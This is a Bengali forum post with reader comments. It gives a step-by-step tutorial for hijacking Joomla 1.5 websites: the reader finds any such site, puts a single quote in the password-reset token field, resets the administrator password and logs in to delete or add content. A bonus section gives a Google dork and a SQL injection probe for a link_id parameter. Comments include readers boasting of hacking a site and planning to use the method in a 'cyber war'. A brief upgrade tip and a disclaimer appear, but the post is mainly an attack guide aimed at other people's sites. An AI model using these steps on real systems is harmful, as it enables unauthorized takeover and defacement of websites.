হ্যাক করুন জুমলার ওয়েব সাইট। !!! -[মারুফ]-

অনেকেরই দেখি হ্যাকিং এ প্রচণ্ড আগ্রহ তাই তাদের জন্য একটু টুকটাক লিখতে বসলাম আরকি।  /আজকে আমি দেখাব জুমলার একটা সহজ Exploit. জুমলা সপর্কে আমরা সবাই কম বেশি যানি। জুমলা একটা CMS । আরো জানতে এই ঠিকানয় যানঃ http://joomla.com

যদি না জানেন তাহলে আপনার এই টিটোরিয়াল পড়ে কোন লাভ হবে না। কারন আপনি যা হ্যাক করতে চান তার সম্পর্কেই তো আপনি যানেন না।

প্রথমে একটা সাইট বের করুন যা জুমলা ১.৫.x দিয়ে বানানো। কারন এটা শুধুমাত্র জুমলার ১.৫ এর সকল ভার্সন এর ক্ষেত্রেই এই Method টা প্রজেয্য । অন্যান্য ভার্সন এর ক্ষেত্রে অন্য Exploit ব্যাবহার করতে হবে। ধরি একটা সাইট পেয়ে গেলেনঃ

http://aaaaaa.com

এখন এই সাইটের এ্যডমিন প্যানেলঃ

http://aaaaaa.com/administrator

মানে আপনার প্রাপ্ত সাইটের শেষে /administrator লিখলেই পেজে যাবেন এ্যডমিন প্যানেল। এখন এখানে লগিন করতে আপনার Username এবং Password প্রয়োজন। এখন দেখব কিভাবে আমরা Username এবং পাসওয়র্ড পাব। J

আপনার প্রাপ্ত সাইটের শেষে এইটা লিখুন।

/index.php?option=com_user&view=reset&layout=confirm

তাহলে দারায়ঃ http://aaaaa.com/index.php?option=com_user&view=reset&layout=confirm

এখন আপনি পাসওয়র্ড রিসেট পেজ এ আছেন। এখানে টোকেন এর জায়গায় শুধুমাত্র এই চিনহ টা দিনঃ (‘)

বন্ধনি বাদে। এই চিনহ টা দেওয়ার পর আপনাকে একটা নতুন একটা পেজ এ নিয়ে যাবে। ওইখানে আপনি নতুন পাসওয়র্ড দিতে পারবেন। এখন আবার এ্যডমিন প্যানেলএ ফিরে গিয়ে আপনার দেওয়া নতুন পাসওয়র্ড দিয়ে লগিন করুন। 😉 আপনি এখন এ্যডমিন প্যানেল এ। আপনি চাইলে ডিলিট করতে পারেন । কোন নিউজ যোগও করতে পারেন আপনার ইচ্ছা।

  তবে যে সাইটে নতুন একটা পেজএ নিয়ে যাবে না অথবা যদি লেখা আসে Token Invalid

তাহলে বুঝবেন ওই সাইটের জুমলা ভার্সন ১.৫ না। আমি আবারও বলসি এটা শুধুমাত্র জুমলা এর ১.৫ ভার্সন এর ক্ষেত্রে প্রযেজ্য।

বাচার উপায়ঃ

এখন যদি আপনার কোন জুমলা ১.৫ এর কোন সাইট থেকে এবং এই টোকেন Exploit এ হ্যাক করার মত হয় তাহলে আপনি যা করবেন। জুমলার নতুন ভার্সন এ আপগ্রড করুন। জুমলার নতুন ভার্সন পেতে এই ঠিকায়ান যানঃ http://joomla.com নতুন ভার্সনে এই বাগ Fix করা হয়েছে।

[বোনাস]   

এইটা জুমলার SQL Injection Exploit এইটা শুধুমাত্র তাদের জন্য যারা SQL Injection পারেন।

গুগলে গিয়ে সার্চ দিন : "Powered by joomla" inurl:link_id"

এখন যে সাইটগুলা আসবেতার শেষের দিকটা এরকমঃ ?act=story_lists&task=item&link_id=1

যেমনঃ http://aaaaaa.com/?act=story_lists&task=item&link_id=1

এসকিউএল এরর: http://aaaaaa.com/?act=story_lists&task=item&link_id=%5BSQLi]

যেমনঃ http://aaaaaa.com/?act=story_lists&task=item&link_id=1’ [শেষে একটা স্ট্রিং দিন]

সবাইকে ধন্যবাদ।   এখন যদি কেউ না পারেন না তাহলে মনোজগ দিয়ে চেস্টা করুন। হ্যাকিংটা এমন না যে আপনি একদিনেই পুরা বস হয়ে যাবেন। এর জন্য দরকার প্রুচুর ধৈ্র্য এবং সময়।

--::Good Luck::Happy Hacking::--

বিঃদ্রঃ এই টিউটোরিয়াল টি বাংলাদেশ সাইবার আর্মি এর অনুমতি ব্যাতিত অন্য কোনখানে কপি পাস্ট করা যাবে না। এবং এর কোন খারাপ ব্যাবহার করলে লেখক/বাংলাদেশ সাইবার আর্মি কেউই দ্বায়ি থাকবে না। হ্যাকিং কে শিখুন নিজেকে বাচানোর জন্য। অন্যের ক্ষতি করার জন্য না। 

 

                                                                                                       ===[মারুফ আলম]===

 

Level 0

আমি মারুফ আলাম। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 13 বছর 1 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 16 টি টিউন ও 296 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 1 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।

uid=0(root) gid=0(root) groups=0(root)


টিউনস


আরও টিউনস


টিউনারের আরও টিউনস


টিউমেন্টস

অনেক সুন্দর টিউন,
আপনি যত্ন করে টিউনটি লিখেছেন বলেই অনেক সুন্দর হইছে,
আপনাকে ধন্যবাদ টিউনের জন্য।

JOSH !!!! SHARE US http://www.comillait.com/

অনেক ভাল টিউন—-আশা করি এখনও যারা জুমলা ১.৫ এ আছেন তারা অতি দ্রুত ১.৬ এ যাবেন। সতর্কবানীর জন্য আবারও ধন্যবাদ।

ভাইয়া অসাধারণ হয়েছে! আমি জুমলার একটি সাইট হ্যাক করে ইউজারনেম ও পাসওয়ার্ড সব কিছু বের করেছিলাম। কিন্তু পাসওয়ার্ডটি হ্যাস আকারে ছিল। অনেক চেষ্টা করেও হ্যাস ক্র্যাক করতে পারলাম। জুমলা,ওয়ার্ডপ্রেসের ক্ষেত্রে পাসওয়ার্ড মনে হয় সবসময় হ্যাস আকারে আসে। এর কোন উপায় আছে আসল পাসওয়ার্ডটি বের করার।

Level 0

অনেক পুরনো একটা এক্সপ্লোইট। এখন আর কাজ করে নাহ… তবে সুন্দর করে লেখার জন্যে ধন্যবাদ।

    @Snip3r: exploit তো দুইটা দেওয়া আছে। আগেরটা কাজ না করলে পরেরটা করবেন। বোনাস

খুব সুন্দর ।

Level 0

durdanto tune.asha kori aro onek kisu pabo maruf vai er kach theke

খুবই সুন্দর গোছানো টিউন। ভাল কাজে আসবে। ধন্যবাদ।

vi.. tune korlen r amare janailen na. kosto paisi 😛 chorrom hoise… r o chai 😛

টোকেনে কাজ হচ্ছে না । অন্য কোনো টোকেন আছে ?

AwEsOmE.. 😛

Level 0

নাইছ

Vai Joomla website haking theke bachar upay boloon.

Level 0

MD ABUL KALAM bhai amio apner satay ek mott – hacking na sikhiya hacking thakay ki bhabay bacha jay ta sikhan

    @bcsf: আমার মনে হয় দুইটাই শিখা উচিত। তারপরও পোস্টেই বলা আছে কিভাবে এর থেকে রক্ষ্যা পেতে হবে।

Level 0

cyber war suru hoiche… Eita kaje lagamu